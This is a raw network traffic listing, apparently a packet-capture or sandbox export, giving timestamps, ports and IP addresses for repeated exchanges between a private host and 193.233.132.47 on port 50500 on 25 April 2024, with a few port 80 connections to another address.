Apr 25, 2024 16:29:26.446954012 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.446959019 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.446990967 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.447006941 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.447046995 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.447089911 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.447107077 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.447149992 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.447186947 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.447207928 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.447221994 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.447254896 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.447324038 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.447340012 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.447352886 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.447376966 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.447417974 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.447455883 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.447467089 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.447511911 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.447540045 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.447549105 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.447587967 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.447623014 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.447674990 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.447705030 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.447741985 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.447793961 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.447825909 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.447846889 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.447865009 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.447868109 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.447902918 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.447945118 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.447959900 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.447973967 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.447992086 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.448019028 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.448033094 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.448056936 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.448057890 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.448091984 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.448124886 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.448232889 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.448247910 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.448271036 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.448271036 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.448308945 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.448324919 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.448353052 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.448368073 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.448388100 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.448451996 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.448488951 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.448491096 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.448545933 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.448581934 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.448607922 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.448621988 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.448643923 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.448653936 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.448657990 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.448689938 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.448791981 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.448827982 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.448863983 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.448930979 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.449058056 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.449095011 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.449274063 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.449373960 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.449409962 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.693695068 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.693768978 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.693795919 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.693809986 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.693849087 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.693860054 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.693937063 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.693941116 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.693974018 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.694025040 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.694039106 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.694078922 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.694489956 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.694591999 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.694627047 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.694650888 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.694677114 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.694731951 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.694775105 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.694849014 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.694962025 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.695003986 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.695003986 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.695041895 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.695077896 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.695135117 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.695168018 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.695261955 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.695275068 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.695308924 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.695331097 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.695396900 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.695430040 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.695432901 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.695478916 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.695492983 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.695525885 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.695566893 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.695642948 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.695679903 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.695684910 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.695713043 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.695728064 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.695760012 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.695785046 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.695797920 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.695884943 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.695929050 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.695965052 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.695966959 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.696131945 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.696166039 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.696207047 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.696253061 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.696268082 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.696280956 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.696290016 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.696304083 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.696356058 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.696391106 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.696407080 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.696453094 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.696507931 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.696542025 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.696561098 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.696573973 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.696610928 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.696666002 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.696705103 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.696707964 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.696768999 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.696805000 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.696815968 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.696834087 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.696865082 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.696902990 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.696966887 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.697011948 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.697046041 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.697060108 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.697087049 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.697118998 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.697120905 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.697153091 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.697165012 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.697191954 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.697225094 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.697261095 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.697277069 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.697288036 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.697300911 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.697313070 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.697344065 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.697366953 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.697380066 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.697411060 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.697433949 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.697447062 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.697475910 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.697499990 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.697525024 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.697540045 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.697573900 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.697587013 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.697793961 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.697834015 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.697868109 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.697900057 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.697920084 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.697945118 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.697978973 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.697987080 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.698044062 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.698061943 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.698084116 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.698121071 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.698163986 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.698338032 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.698384047 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.698441982 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.698486090 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.698493958 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.698513031 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.698542118 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.698565006 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.698597908 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.698683023 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.698697090 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:26.698745012 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:26.835707903 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:27.094822884 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:27.098237991 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:27.346265078 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:27.347711086 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:27.594223022 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:27.594532013 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:27.894174099 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:29.888051987 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:30.057295084 CEST	50500	49706	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:30.058228016 CEST	49706	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:30.661205053 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:29:30.925586939 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:29:30.966162920 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:02.653902054 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:02.930928946 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:30:02.975773096 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:18.122433901 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:18.394980907 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:30:18.450512886 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:24.497411013 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:24.772367001 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:30:24.825444937 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:27.411988974 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:30:27.412090063 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:30:27.826001883 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:28.096791029 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:30:28.138072968 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:31.153640985 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:31.431596041 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:30:31.481719017 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:34.481790066 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:34.765755892 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:30:34.809884071 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:37.810131073 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:38.099209070 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:30:38.278544903 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:38.472182035 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:30:38.472259998 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:41.609520912 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:41.880425930 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:30:42.025089025 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:42.270958900 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:30:42.274413109 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:44.919331074 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:45.195765972 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:30:45.278585911 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:48.234786034 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:48.356899977 CEST	49709	80	192.168.2.5	193.233.132.175
Apr 25, 2024 16:30:48.507270098 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:30:48.591058016 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:48.605437994 CEST	80	49709	193.233.132.175	192.168.2.5
Apr 25, 2024 16:30:51.544266939 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:51.817750931 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:30:51.887916088 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:54.874624968 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:55.143909931 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:30:55.206888914 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:57.363631010 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:30:57.364402056 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:30:57.659869909 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:31:00.421020031 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:00.694729090 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:31:00.778561115 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:03.747672081 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:04.021193027 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:31:04.091053009 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:07.059895992 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:07.332952023 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:31:07.387907982 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:10.372446060 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:10.673794985 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:31:10.778635979 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:13.700638056 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:13.988230944 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:31:14.091068029 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:17.091181993 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:17.363135099 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:31:17.576262951 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:20.403774023 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:20.709492922 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:31:20.778533936 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:23.763231039 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:24.064747095 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:31:24.278649092 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:27.109879017 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:27.419677019 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:31:27.591083050 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:30.450906038 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:30.754740953 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:31:30.887892962 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:33.794220924 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:34.087199926 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:31:34.249041080 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:37.122461081 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:37.411648989 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:31:37.591022968 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:40.466114998 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:40.771066904 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:31:40.887877941 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:43.825613976 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:44.106936932 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:31:44.168261051 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:47.180130959 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:47.472111940 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:31:47.591063976 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:51.388012886 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:51.661998987 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:31:51.762208939 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:54.700726032 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:55.006622076 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:31:55.091006041 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:58.059844971 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:31:58.365801096 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:31:58.591059923 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:01.419392109 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:01.739124060 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:32:01.742346048 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:32:01.890281916 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:05.420187950 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:05.706595898 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:32:05.778523922 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:08.747376919 CEST	49722	50500	192.168.2.5	193.233.132.47
Apr 25, 2024 16:32:09.019213915 CEST	50500	49722	193.233.132.47	192.168.2.5
Apr 25, 2024 16:32:09.091044903 CEST	49722	50500	192.168.2.5	193.233.132.47
